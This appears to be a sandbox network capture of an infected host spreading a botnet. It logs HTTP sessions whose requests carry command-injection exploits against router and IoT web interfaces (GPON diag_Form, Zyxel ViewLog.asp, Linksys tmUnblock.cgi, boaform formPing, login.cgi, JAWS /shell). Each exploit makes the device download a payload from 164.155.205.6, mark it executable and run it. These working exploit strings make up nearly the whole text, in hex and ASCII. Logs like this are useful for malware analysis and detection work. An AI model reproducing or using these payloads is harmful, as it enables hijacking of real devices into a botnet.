Session ID	Source IP	Source Port	Destination IP	Destination Port
1576	192.168.2.23	45908	212.237.203.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.422795057 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:34.009587049 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1577	192.168.2.23	49692	181.214.155.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.471353054 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1578	192.168.2.23	41718	181.209.109.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.551125050 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:33.797925949 CET	259	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Sat, 02 Mar 2024 11:38:39 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>
Mar 2, 2024 12:38:33.797962904 CET	251	IN	HTTP/1.0 503 unknown method Connection: close Content-Length: 119 Date: Sat, 02 Mar 2024 11:38:39 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 503: unknown method</title></head><body><h1>Error 503: unknown method</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1579	192.168.2.23	41902	96.16.193.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.755234957 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:33.852104902 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:33 GMT Date: Sat, 02 Mar 2024 11:38:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 38 37 38 63 65 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 35 31 33 26 23 34 36 3b 65 34 39 35 61 35 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8878ce17.1709379513.e495a52</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1580	192.168.2.23	36974	37.230.56.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.956471920 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:34.967262983 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:35.154175997 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Sat, 02 Mar 2024 11:38:35 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>
Mar 2, 2024 12:38:36.099039078 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Sat, 02 Mar 2024 11:38:35 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1581	192.168.2.23	44648	185.94.112.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.163786888 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:34.383259058 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1582	192.168.2.23	43976	5.45.146.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.163836002 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:34.338212967 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:34 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1583	192.168.2.23	41336	172.65.180.195	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.181827068 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1584	192.168.2.23	45652	212.160.155.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221577883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1585	192.168.2.23	45664	79.32.126.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221601963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1586	192.168.2.23	46922	94.62.135.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221601963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1587	192.168.2.23	38024	212.41.84.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221626043 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1588	192.168.2.23	46940	109.212.87.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221630096 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1589	192.168.2.23	36476	178.104.162.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221640110 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1590	192.168.2.23	33282	94.90.142.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221652985 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1591	192.168.2.23	42810	2.176.31.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.221690893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1592	192.168.2.23	52160	213.188.214.17	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.269275904 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1593	192.168.2.23	52190	213.188.214.17	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.271564960 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1594	192.168.2.23	60174	118.232.13.95	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.722865105 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
